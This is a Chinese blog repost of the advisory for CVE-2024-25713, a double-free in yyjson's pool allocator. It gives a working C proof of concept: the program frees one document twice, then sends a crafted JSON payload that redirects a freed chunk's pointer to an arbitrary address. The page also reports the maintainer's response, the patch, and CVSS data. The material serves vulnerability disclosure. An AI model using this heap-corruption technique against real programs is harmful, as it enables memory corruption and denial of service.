yyjson中的双释放漏洞详解

本文详细分析了yyjson库中一个涉及池系列分配器的双释放漏洞(CVE-2024-25713)。该漏洞源于pool_free函数缺乏循环检查,可能导致任意地址写入、拒绝服务攻击,甚至远程代码执行。

yyjson 存在双释放漏洞 · CVE-2024-25713

摘要 yyjson的池系列分配器(pool_malloc/pool_free/pool_realloc)存在一个双释放漏洞,可能导致任意地址写入和拒绝服务攻击。结合使用该库的程序的其他合法或非法操作,任意地址写入可能导致远程代码执行。

详情 此漏洞的核心原因在于pool_free函数缺乏循环检查,而直接原因则源于pool_free及类似的释放系列函数未执行指针销毁,从而导致了释放后重用漏洞。

概念验证 下面是一个使用yyjson 0.8.0的C语言程序,用于展示如何利用双释放漏洞造成内存块重叠,从而允许修改内存块的下一个指针指向任意地址。如果目标地址有效,则可以对其进行修改;如果地址无效,则可能导致程序崩溃,这可用于拒绝服务攻击。此外,构建一个内存块的循环链可以强制服务进入无限循环,同样可被用于拒绝服务攻击。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#include <stdio.h>
#include "yyjson.h"

char test[0x110];
int64_t a=0xffffffff;
int64_t b= (int64_t) test;

int main() {

    size_t max_json_size = 64 * 1024;

    size_t buf_size = yyjson_read_max_memory_usage(max_json_size, 0);

    void *buf = malloc(buf_size);

    yyjson_alc alc;
    yyjson_alc_pool_init(&alc, buf, buf_size);

    yyjson_mut_doc *p1 = yyjson_mut_doc_new(&alc);
    yyjson_mut_doc *p2 = yyjson_mut_doc_new(&alc);
    yyjson_mut_arr(p2);

    yyjson_mut_doc *p3 = yyjson_mut_doc_new(&alc);

    yyjson_mut_doc_free(p2);
    yyjson_mut_doc_free(p2); // 双释放
    yyjson_mut_doc_free(p1);

    yyjson_read_flag flg = YYJSON_READ_ALLOW_COMMENTS | YYJSON_READ_ALLOW_INF_AND_NAN;


    for(int i=0;i<0x100;i++)test[i]= 'a';
    test[0x100]='\00';
    char *payload_f = "[%lld,43981]";

    char payload[100];
    sprintf(payload,payload_f,&a);
    yyjson_mut_doc *p4 = yyjson_read_opts(payload,strlen(payload),flg,&alc,NULL);

    yyjson_mut_doc *p5 = yyjson_mut_doc_new(&alc);
    yyjson_mut_doc *p6 = yyjson_mut_doc_new(&alc);
    yyjson_mut_doc *p7 = yyjson_mut_doc_new(&alc);
    yyjson_mut_doc *p8 = yyjson_mut_doc_new(&alc);
    for(int z=1;z<=100;z++)
    yyjson_mut_int(p8,0x63636363);

    printf("%s",test);
    free(buf);
    return 0;
}

影响 这是什么类型的漏洞?谁受影响?

yyjson的说明 yyjson_mut_doc_free() 的文档明确说明: https://github.com/ibireme/yyjson/blob/0.8.0/src/yyjson.h#L2090-L2093

1
2
3
/** 释放JSON文档并回收内存。
    调用此函数后,`doc` 及其所有值将不再可用。如果 `doc` 为 NULL,此函数将不执行任何操作。 */
void yyjson_mut_doc_free(yyjson_doc *doc);

如果你已经对一个文档调用了 yyjson_mut_doc_free(),那么该文档及其内部值均告无效。对该文档或其值的任何进一步操作都是未定义行为。 虽然这不是yyjson本身的bug,但已经提供了一个防御性补丁:0eca326。如果你错误地违反文档对同一个文档调用了两次 yyjson_mut_doc_free(),此补丁将导致你的程序立即崩溃,从而提醒你存在不正确的使用方式。

参考

漏洞信息

  • 发布日期(国家漏洞数据库):2024年2月29日
  • 发布日期(GitHub Advisory Database):2024年2月29日
  • 审阅日期:2024年8月29日
  • 最后更新日期:2025年11月5日

严重性

  • 等级:高
  • CVSS 总体评分:8.8 / 10

CVSS v4 基础指标

  • 攻击向量:网络
  • 攻击复杂度:低
  • 攻击前提条件:无
  • 所需权限:无
  • 用户交互:无
  • 受影响系统机密性影响:低
  • 受影响系统完整性影响:高
  • 受影响系统可用性影响:低
  • 后续系统机密性影响:无
  • 后续系统完整性影响:无
  • 后续系统可用性影响:无

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N

EPSS 分数:3.142% (第86百分位数)

弱点

  • CWE-ID: CWE-94
  • 描述:对代码生成的不当控制(‘代码注入’)
  • 详细信息:该产品使用来自上游组件的外部影响输入来构建全部或部分代码段,但它没有对可能修改预期代码段语法或行为的特殊元素进行清除或不正确地进行了清除。

标识符

  • CVE ID: CVE-2024-25713
  • GHSA ID: GHSA-whx6-m9j4-w2m2

源代码仓库: ibireme/yyjson

:此公告已被编辑。请参阅历史记录。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计